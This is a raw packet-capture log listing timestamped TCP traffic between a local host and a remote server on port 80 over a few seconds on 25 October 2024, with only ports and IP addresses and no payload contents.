Oct 25, 2024 13:50:24.191031933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191042900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191055059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191066980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191077948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191077948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191091061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191102028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191143036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191143036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191190958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191203117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191211939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191220999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191246986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191263914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191318989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191339970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191349983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191354990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191359997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191364050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191368103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191380978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191395998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191406012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191407919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191416979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191428900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191437006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191438913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191451073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.191458941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.191482067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232198000 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232211113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232243061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232254028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232264996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232275963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232275963 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232286930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232300997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232327938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232336044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232340097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232352018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232355118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232372999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232389927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232517004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232541084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232553959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232592106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232626915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232639074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232666016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232673883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232677937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232717037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232726097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232738972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232752085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232772112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232789040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232832909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232846022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232857943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232867956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232884884 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232889891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232899904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232903957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232916117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232924938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232932091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232945919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232953072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232968092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.232976913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232989073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.232995033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.233000994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.233012915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.233021021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.233050108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.233051062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.233061075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.233091116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307152987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307190895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307202101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307244062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307255030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307306051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307307005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307307005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307327986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307339907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307359934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307382107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307432890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307444096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307454109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307465076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307478905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307490110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307497978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307523966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307574987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307588100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307598114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307609081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307626963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307629108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307641029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307677984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307692051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307703018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307713032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307722092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307733059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307743073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307744026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307754993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307775021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307779074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307790995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307807922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307812929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307832003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307833910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307842970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307846069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307861090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307871103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307895899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.307921886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307940960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307950974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307960987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307971001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307980061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.307980061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.308001041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.308032036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.428708076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.433983088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914155006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914166927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914179087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914202929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914221048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914232969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914244890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914242029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914258957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914272070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914283991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914284945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914297104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914300919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914309978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914320946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914326906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914349079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914374113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914377928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914390087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914417982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914427996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914436102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914447069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914457083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914472103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914484978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914496899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914496899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914510965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914510965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914524078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914531946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914537907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914551020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914561033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914563894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914572954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914586067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914587021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914599895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914612055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914622068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914624929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914640903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914652109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914843082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914853096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914877892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914884090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914897919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914907932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914907932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914921999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914928913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914935112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914942980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914948940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914961100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914962053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914971113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914974928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.914984941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.914988041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915000916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915002108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915013075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915021896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915025949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915039062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915045023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915051937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915065050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915070057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915076971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915081978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915090084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915102005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915102959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915116072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915124893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915128946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915142059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915146112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915154934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915169001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915175915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915184021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915189981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915205002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915220022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915426016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915436983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915451050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915462971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915467024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915479898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915484905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915493011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915508032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915509939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915518999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915533066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915537119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915563107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915563107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915575027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915580034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915591955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915605068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915611029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915618896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915633917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915647030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915659904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915673018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915673018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915673018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915683985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915688038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915699005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915703058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915713072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915725946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915734053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915740967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915741920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915755987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915770054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915777922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915782928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915796041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915802002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915810108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915822983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915826082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915838003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915843010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915858984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915913105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:24.915931940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:24.915966034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:25.371828079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:25.371860027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:25.377194881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:25.377285957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.216887951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.216944933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.281518936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.286792994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.566977024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.567003965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.567075968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.567147017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.567161083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.567195892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.567213058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.569607019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.574989080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.855406046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:26.855462074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.867152929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:26.872492075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:27.711256981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:27.711436033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:27.735042095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:27.740495920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022491932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022552013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.022582054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022593021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022620916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.022624969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022635937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022641897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.022649050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022660971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.022670984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.022670984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.022703886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.099184036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:28.104569912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.940737963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:28.940798044 CEST	49712	80	192.168.2.6	185.215.113.37
